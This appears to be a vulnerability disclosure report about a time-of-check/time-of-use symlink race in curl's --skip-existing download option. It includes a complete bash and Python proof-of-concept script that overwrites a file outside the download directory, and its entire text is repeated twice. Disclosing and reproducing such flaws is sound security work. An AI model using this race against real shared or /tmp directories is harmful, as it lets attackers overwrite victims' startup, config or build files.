Description
## Summary:
The curl CLI's `--skip-existing` option performs a separate existence check before the download body is written. In the verified path, curl first calls `stat()` on the target pathname and decides "the file does not exist, so continue", but it does not keep an fd bound to that decision. The actual output file is only opened later, when the first response body bytes reach the write callback, and the normal clobbering path uses `fopen("wb")`, which follows symlinks. An attacker who can modify the download directory after the request starts can therefore create a same-name symlink in the gap between the check and the later open, causing curl to overwrite the symlink target instead of a file inside the intended directory. A cooperating or malicious server can make this race reliable by accepting the request and intentionally delaying the response body until the symlink has been planted. This is a real filesystem write-redirection bug in curl's `--skip-existing` logic, not just caller misuse.
## Affected version
Validated locally on:
`curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libpsl/0.21.2`
Platform:
`Linux L-G4274LMD-1548 6.6.87.2-microsoft-standard-WSL2 x86_64 GNU/Linux`
This appears to affect curl CLI builds that include `--skip-existing`. That option was added in `8.10.0`, and the reproduced bug is in that option's current implementation path.
## Steps To Reproduce:
1. From the repository root, run the following self-contained script. It does not rely on any local PoC file. It creates a world-writable shared directory, starts a local HTTP server that delays the body, runs `curl --skip-existing -O`, inserts the symlink only after the request has already started, and then confirms that a file outside the shared directory was overwritten:
```bash
set -euo pipefail
ROOT="$PWD"
CURL_BIN=""
for candidate in "$ROOT/src/curl" "$ROOT/build-h2-asan/src/curl" "$(command -v curl)"; do
if [ -n "${candidate:-}" ] && [ -x "$candidate" ]; then
CURL_BIN="$candidate"
break
fi
done
if [ -z "$CURL_BIN" ]; then
echo "could not find a curl binary to test" >&2
exit 1
fi
TMPDIR="$(mktemp -d)"
trap 'jobs -p | xargs -r kill 2>/dev/null || true; rm -rf "$TMPDIR"' EXIT
SHARED="$TMPDIR/shared"
TARGET="$TMPDIR/target"
SIGNAL="$TMPDIR/signal"
mkdir -p "$SHARED" "$TARGET" "$SIGNAL"
chmod 1777 "$SHARED"
printf 'ORIGINAL\n' > "$TARGET/important.txt"
cat >"$TMPDIR/server.py" <<'PY'
import os
import sys
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
port_file, ready_file, go_file = sys.argv[1:4]
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path != "/payload.txt":
self.send_response(404)
self.end_headers()
return
open(ready_file, "w").close()
while not os.path.exists(go_file):
time.sleep(0.02)
body = b"RACED-SKIP-EXISTING\n"
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
server = HTTPServer(("127.0.0.1", 0), Handler)
with open(port_file, "w", encoding="ascii") as f:
f.write(str(server.server_port))
f.flush()
server.serve_forever()
PY
python3 -u "$TMPDIR/server.py" \
"$SIGNAL/port" "$SIGNAL/request.ready" "$SIGNAL/send-body" &
for _ in $(seq 1 50); do
[ -s "$SIGNAL/port" ] && break
sleep 0.1
done
[ -s "$SIGNAL/port" ] || { echo "server did not start" >&2; exit 1; }
PORT="$(cat "$SIGNAL/port")"
(
cd "$SHARED"
"$CURL_BIN" -sS --skip-existing -O "http://127.0.0.1:$PORT/payload.txt"
) >"$TMPDIR/curl.stdout" 2>"$TMPDIR/curl.stderr" &
CURL_PID=$!
for _ in $(seq 1 200); do
[ -e "$SIGNAL/request.ready" ] && break
sleep 0.05
done
[ -e "$SIGNAL/request.ready" ] || { echo "curl never reached the request stage" >&2; exit 1; }
if [ -e "$SHARED/payload.txt" ]; then
echo "payload.txt unexpectedly exists before the race is triggered" >&2
exit 1
fi
ln -s ../target/important.txt "$SHARED/payload.txt"
touch "$SIGNAL/send-body"
wait "$CURL_PID"
echo "curl binary: $CURL_BIN"
echo "shared dir: $SHARED"
echo "shared mode: $(stat -c '%A %a' "$SHARED")"
echo "symlink target: $(readlink "$SHARED/payload.txt")"
echo "victim body: $(cat "$TARGET/important.txt")"
if [ "$(cat "$TARGET/important.txt")" = "RACED-SKIP-EXISTING" ]; then
echo
echo "BUG CONFIRMED: curl followed the post-check symlink and overwrote a file outside the shared directory."
else
echo
echo "PoC did not reproduce." >&2
exit 1
fi
```
2. Expected safe behavior:
- once curl decides "the file does not exist, continue", a later attacker-created symlink should not be able to change the write target
- curl should either bind the decision to an already-open fd, or fail safely when the path has changed
3. Observed vulnerable behavior:
- the script prints `BUG CONFIRMED`
- `shared/payload.txt` remains a symlink to `../target/important.txt`
- `target/important.txt`, which lives outside the shared download directory, is overwritten with `RACED-SKIP-EXISTING`
4. Relevant code path in the current tree:
- `src/tool_operate.c`: `--skip-existing` checks `curlx_stat(per->outfile, &fileinfo)` and only sets a skip flag if the path already exists
- `src/tool_operate.c`: if the file does not already exist, it leaves `outs->stream = NULL`
- `src/tool_cb_wrt.c`: on first body write, curl calls `tool_create_output_file()`
- `src/tool_cb_wrt.c`: the clobbering branch uses `curlx_fopen(fname, "wb")`, which follows the attacker-inserted symlink
5. Why the exploit is practical:
- the attacker does not need to win a tiny scheduler race
- the server can deliberately delay the first body bytes until after the local attacker inserts the symlink
- that makes the TOCTOU condition deterministic in shared or world-writable directories
## Impact
## Summary:
An attacker who can modify the chosen download directory after curl starts the request can redirect the eventual download write into any filesystem target writable by the victim process. In the strongest real-world case, this means a local attacker can wait for a privileged or automated curl job that uses `--skip-existing` in `/tmp`, a shared workspace, or another attacker-writable directory, then create the symlink after curl has already made its "file does not exist" decision. A malicious server can cooperate by delaying the response body until the symlink is in place, making exploitation reliable instead of probabilistic. The result is arbitrary file overwrite with attacker-controlled bytes relative to the victim process's privileges. Practical targets include shell startup files, config files, build scripts, and other writable files outside the intended download directory.
The curl CLI's `--skip-existing` option performs a separate existence check before the download body is written. In the verified path, curl first calls `stat()` on the target pathname and decides "the file does not exist, so continue", but it does not keep an fd bound to that decision. The actual output file is only opened later, when the first response body bytes reach the write callback, and the normal clobbering path uses `fopen("wb")`, which follows symlinks. An attacker who can modify the download directory after the request starts can therefore create a same-name symlink in the gap between the check and the later open, causing curl to overwrite the symlink target instead of a file inside the intended directory. A cooperating or malicious server can make this race reliable by accepting the request and intentionally delaying the response body until the symlink has been planted. This is a real filesystem write-redirection bug in curl's `--skip-existing` logic, not just caller misuse.
## Affected version
Validated locally on:
`curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libpsl/0.21.2`
Platform:
`Linux L-G4274LMD-1548 6.6.87.2-microsoft-standard-WSL2 x86_64 GNU/Linux`
This appears to affect curl CLI builds that include `--skip-existing`. That option was added in `8.10.0`, and the reproduced bug is in that option's current implementation path.
## Steps To Reproduce:
1. From the repository root, run the following self-contained script. It does not rely on any local PoC file. It creates a world-writable shared directory, starts a local HTTP server that delays the body, runs `curl --skip-existing -O`, inserts the symlink only after the request has already started, and then confirms that a file outside the shared directory was overwritten:
```bash
set -euo pipefail
ROOT="$PWD"
CURL_BIN=""
for candidate in "$ROOT/src/curl" "$ROOT/build-h2-asan/src/curl" "$(command -v curl)"; do
if [ -n "${candidate:-}" ] && [ -x "$candidate" ]; then
CURL_BIN="$candidate"
break
fi
done
if [ -z "$CURL_BIN" ]; then
echo "could not find a curl binary to test" >&2
exit 1
fi
TMPDIR="$(mktemp -d)"
trap 'jobs -p | xargs -r kill 2>/dev/null || true; rm -rf "$TMPDIR"' EXIT
SHARED="$TMPDIR/shared"
TARGET="$TMPDIR/target"
SIGNAL="$TMPDIR/signal"
mkdir -p "$SHARED" "$TARGET" "$SIGNAL"
chmod 1777 "$SHARED"
printf 'ORIGINAL\n' > "$TARGET/important.txt"
cat >"$TMPDIR/server.py" <<'PY'
import os
import sys
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
port_file, ready_file, go_file = sys.argv[1:4]
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path != "/payload.txt":
self.send_response(404)
self.end_headers()
return
open(ready_file, "w").close()
while not os.path.exists(go_file):
time.sleep(0.02)
body = b"RACED-SKIP-EXISTING\n"
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
server = HTTPServer(("127.0.0.1", 0), Handler)
with open(port_file, "w", encoding="ascii") as f:
f.write(str(server.server_port))
f.flush()
server.serve_forever()
PY
python3 -u "$TMPDIR/server.py" \
"$SIGNAL/port" "$SIGNAL/request.ready" "$SIGNAL/send-body" &
for _ in $(seq 1 50); do
[ -s "$SIGNAL/port" ] && break
sleep 0.1
done
[ -s "$SIGNAL/port" ] || { echo "server did not start" >&2; exit 1; }
PORT="$(cat "$SIGNAL/port")"
(
cd "$SHARED"
"$CURL_BIN" -sS --skip-existing -O "http://127.0.0.1:$PORT/payload.txt"
) >"$TMPDIR/curl.stdout" 2>"$TMPDIR/curl.stderr" &
CURL_PID=$!
for _ in $(seq 1 200); do
[ -e "$SIGNAL/request.ready" ] && break
sleep 0.05
done
[ -e "$SIGNAL/request.ready" ] || { echo "curl never reached the request stage" >&2; exit 1; }
if [ -e "$SHARED/payload.txt" ]; then
echo "payload.txt unexpectedly exists before the race is triggered" >&2
exit 1
fi
ln -s ../target/important.txt "$SHARED/payload.txt"
touch "$SIGNAL/send-body"
wait "$CURL_PID"
echo "curl binary: $CURL_BIN"
echo "shared dir: $SHARED"
echo "shared mode: $(stat -c '%A %a' "$SHARED")"
echo "symlink target: $(readlink "$SHARED/payload.txt")"
echo "victim body: $(cat "$TARGET/important.txt")"
if [ "$(cat "$TARGET/important.txt")" = "RACED-SKIP-EXISTING" ]; then
echo
echo "BUG CONFIRMED: curl followed the post-check symlink and overwrote a file outside the shared directory."
else
echo
echo "PoC did not reproduce." >&2
exit 1
fi
```
2. Expected safe behavior:
- once curl decides "the file does not exist, continue", a later attacker-created symlink should not be able to change the write target
- curl should either bind the decision to an already-open fd, or fail safely when the path has changed
3. Observed vulnerable behavior:
- the script prints `BUG CONFIRMED`
- `shared/payload.txt` remains a symlink to `../target/important.txt`
- `target/important.txt`, which lives outside the shared download directory, is overwritten with `RACED-SKIP-EXISTING`
4. Relevant code path in the current tree:
- `src/tool_operate.c`: `--skip-existing` checks `curlx_stat(per->outfile, &fileinfo)` and only sets a skip flag if the path already exists
- `src/tool_operate.c`: if the file does not already exist, it leaves `outs->stream = NULL`
- `src/tool_cb_wrt.c`: on first body write, curl calls `tool_create_output_file()`
- `src/tool_cb_wrt.c`: the clobbering branch uses `curlx_fopen(fname, "wb")`, which follows the attacker-inserted symlink
5. Why the exploit is practical:
- the attacker does not need to win a tiny scheduler race
- the server can deliberately delay the first body bytes until after the local attacker inserts the symlink
- that makes the TOCTOU condition deterministic in shared or world-writable directories
## Impact
## Summary:
An attacker who can modify the chosen download directory after curl starts the request can redirect the eventual download write into any filesystem target writable by the victim process. In the strongest real-world case, this means a local attacker can wait for a privileged or automated curl job that uses `--skip-existing` in `/tmp`, a shared workspace, or another attacker-writable directory, then create the symlink after curl has already made its "file does not exist" decision. A malicious server can cooperate by delaying the response body until the symlink is in place, making exploitation reliable instead of probabilistic. The result is arbitrary file overwrite with attacker-controlled bytes relative to the victim process's privileges. Practical targets include shell startup files, config files, build scripts, and other writable files outside the intended download directory.
Basic Information
ID
H1:3747959
Published
May 19, 2026 at 11:30
Modified
May 20, 2026 at 21:23